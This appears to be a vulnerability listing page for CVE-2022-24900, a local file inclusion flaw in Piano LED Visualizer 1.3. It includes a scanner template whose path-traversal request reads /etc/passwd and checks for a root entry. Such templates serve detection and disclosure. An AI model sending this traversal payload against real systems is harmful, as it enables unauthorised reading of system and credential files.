CVE-2022-24900: Piano LED Visualizer 1.3 - Local File Inclusion

2025-08-01 Piano LED Visualizer PoC Public

Description

Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion.

PoC

id: CVE-2022-24900

info:
  name: Piano LED Visualizer 1.3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Piano LED Visualizer 1.3 application.
  reference:
    - https://github.com/onlaj/Piano-LED-Visualizer/issues/350
    - https://vuldb.com/?id.198714
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24900
    - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2022-24900
    cwe-id: CWE-668,CWE-22
    epss-score: 0.0841
    epss-percentile: 0.94695
    cpe: cpe:2.3:a:piano_led_visualizer_project:piano_led_visualizer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: piano_led_visualizer_project
    product: piano_led_visualizer
  tags: cve2022,cve,lfi,piano,iot,oss,piano_led_visualizer_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402201506f0e933ef41ff1072d70bca05e1376823ac948a35775ac43b26de39d87893022026cb7cd0116c3ded3cb477b9c765378c265da6c14ab4efed365437bb39cf481b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities